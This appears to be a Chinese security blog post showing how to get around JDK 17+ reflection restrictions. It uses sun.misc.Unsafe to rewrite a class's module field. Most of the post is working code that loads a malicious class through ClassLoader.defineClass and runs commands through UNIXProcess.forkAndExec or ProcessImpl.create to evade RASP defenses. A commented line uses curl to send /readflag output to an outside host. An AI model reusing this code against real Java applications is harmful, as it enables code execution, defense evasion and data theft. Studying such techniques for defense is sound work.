JDK17+绕过反射限制
JDK17+ 反射绕过限制
前言
springboot3.x使用的jdk版本至少是jdk17,在jdk17及之后无法反射 java.*
包下非public
修饰的属性和方法
根据 Oracle的文档,为了安全性,从JDK 17开始对java本身代码使用强封装,原文叫 Strong Encapsulation。任何对 java.*
代码中的非public变量和方法进行反射会抛出InaccessibleObjectException异常。
JDK的文档解释了对java api进行封装的两个理由:
- 对java代码进行反射是不安全的,比如可以调用ClassLoader的defineClass方法,这样在运行时候可以给程序注入任意代码。
- java的这些非公开的api本身就是非标准的,让开发者依赖使用这个api会给JDK的维护带来负担。
所以从JDK 9开始就准备限制对java api的反射进行限制,直到JDK 17才正式禁用。
测试
调用ClassLoader.defineClass加载字节码
String payload = '恶意的base64'
byte[] decode = Base64.getDecoder().decode(payload);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "恶意文件名字", decode, 0, decode.length);
JDK9 - JDK16(只有警告)
从JDK9开始,当我们用反射去获取 java.*
包下的非public变量和方法时只会警告,仍能够运行
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.example.Main (file:/E:/test/test/target/classes/) to method java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int)
WARNING: Please consider reporting this to the maintainers of org.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
JDK17+对反射的限制
报以下错误,无法运行
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @3b07d329
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at test.main(test.java:11)
Unsafe绕过反射限制
Note that the sun.misc and sun.reflect packages are available for reflection by tools and libraries in all JDK releases, including JDK 17.
sun.misc
和sun.reflect
包下的我们是可以正常反射的,所以有个关键的类就可以拿来用来,就是 Unsafe
这个东西
关于Unsafe类可以参考 https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html
同时注意 JDK17下Unsafe类下的 defineClass
和 defineAnonymousClass
已被移除,且从jdk9开始存在的另一个Unsafe类jdk.internal.misc.Unsafe
也是强封装的,和 java.*
包下的一样。
如何利用Unsafe来打破这个强封装module限制呢?
分析
跟进setAccessible
方法
如果setAccessible(true)
就会调用checkCanSetAccessible
继续跟进
这里的clazz是Class类,这个后面会用到
跟进到关键代码java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class<?>, java.lang.Class<?>, boolean)
判断我们调用类和目标类是不是一个module
,如果调用类的module和目标类的module一样,就可以有修改权限
那我们可以尝试利用Unsafe
来修改当前类的module
属性和目标类(即 java.*
下类)的module属性一致来绕过
Unsafe类中有个 getAndSetObject
方法,其和反射赋值功能差不多,利用这个修改调用类的module
由于我们要调用ClassLoader
类,所以我们要修改当前类的module
为ClassLoader
的module
System.out.println(ClassLoader.class.getModule());
System.out.println(Object.class.getModule());
System.out.println(Class.class.getModule());
结果都是module java.base
接着找偏移
Unsafe
提供两个方法来获取Field的偏移量
staticFieldOffset(Field var1)
和objectFieldOffset(Field var1)
unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
这样参数都找完了
解决方案
getAndSetObject
可以用putObject
来替代
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
// unsafe.putObject(currentClass,addr,baseModule);
String payload = '恶意的base64'
byte[] decode = Base64.getDecoder().decode(payload);
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
// unsafe.putObject(currentClass,addr,baseModule);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "exp", decode, 0, decode.length);
对比一下没改之前的情况
所以成功修改,就能够进行反射了
同样的,如果没有办法反射其他不在同一个module下的属性或方法,也可以利用这个办法来修改类的module来绕过,上面也可以修改java.*
下类的module和Main.class的module一样,也是可以的,但修改module后会产生什么不可预知的后果我就不知道了。
JDK8中Unsafe的常见使用
allocateInstance (反射调用native方法)
若RASP限制了某些类的构造方法(比如TrAXFilter
(加载字节码)、ProcessImpl
(Windows命令执行)、UnixProcess
(Linux命令执行))
可以用Unsafe
的allocateInstance
方法绕过这个限制
windows下
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, baseModule);
Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "calc", null, null, stdHandles, false);
Linux
Class<?> claz = Class.forName("sun.misc.Unsafe");
Field field = claz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, baseModule);
String cmd = "whoami";
int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);
unsafe+反射调用native的forkAndExec
public static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public static String exec(String[] strs) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException, IOException {
//String[] strs = new String[] {"bash", "-c", "curl host.docker.internal:4444 -d \"`/readflag`\""};
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
return baos.toString();
同样可以用这个调用加了prefix的forkAndExec
(就是调用方法名称改一下而已)
最后
但现在来说我还用不上这些,太菜了,还在学jdk8的东西呢
https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/